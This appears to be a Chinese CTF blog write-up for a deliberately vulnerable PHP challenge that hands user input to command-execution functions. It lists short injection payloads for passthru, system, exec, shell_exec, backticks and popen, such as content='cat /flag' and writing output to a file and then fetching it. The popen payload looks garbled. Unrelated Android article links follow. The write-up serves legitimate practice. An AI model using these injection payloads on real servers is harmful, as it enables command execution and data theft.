    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

跟第二关差不多

passthru

content='cat /flag'

system

content='cat /flag'

exec

这个会执行但是不会回显,这里构造

content='cat /flag >a'

然后访问a就行了

执行运算符

就是反引号

content='cat /flag >a'

popen

popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。构造起来比较抽象了

content='cat /flag','r'); handle = popen('cat /flag','r'); echo fread(handle, 100

shell_exec

content='cat /flag >a'

然后访问a就行了。

燃尽了,燃尽了这篇文章就到这把。

相关推荐
安卓理事人40 分钟前
安卓LinkedBlockingQueue消息队列
android
万能的小裴同学2 小时前
Android M3U8视频播放器
android·音视频
q***57742 小时前
MySql的慢查询(慢日志)
android·mysql·adb
JavaNoober3 小时前
Android 前台服务 "Bad Notification" 崩溃机制分析文档
android
城东米粉儿4 小时前
关于ObjectAnimator
android
zhangphil4 小时前
Android渲染线程Render Thread的RenderNode与DisplayList,引用Bitmap及Open GL纹理上传GPU
android
火柴就是我5 小时前
从头写一个自己的app
android·前端·flutter
lichong9516 小时前
XLog debug 开启打印日志,release 关闭打印日志
android·java·前端
用户69371750013847 小时前
14.Kotlin 类:类的形态(一):抽象类 (Abstract Class)
android·后端·kotlin
火柴就是我7 小时前
NekoBoxForAndroid 编译libcore.aar
android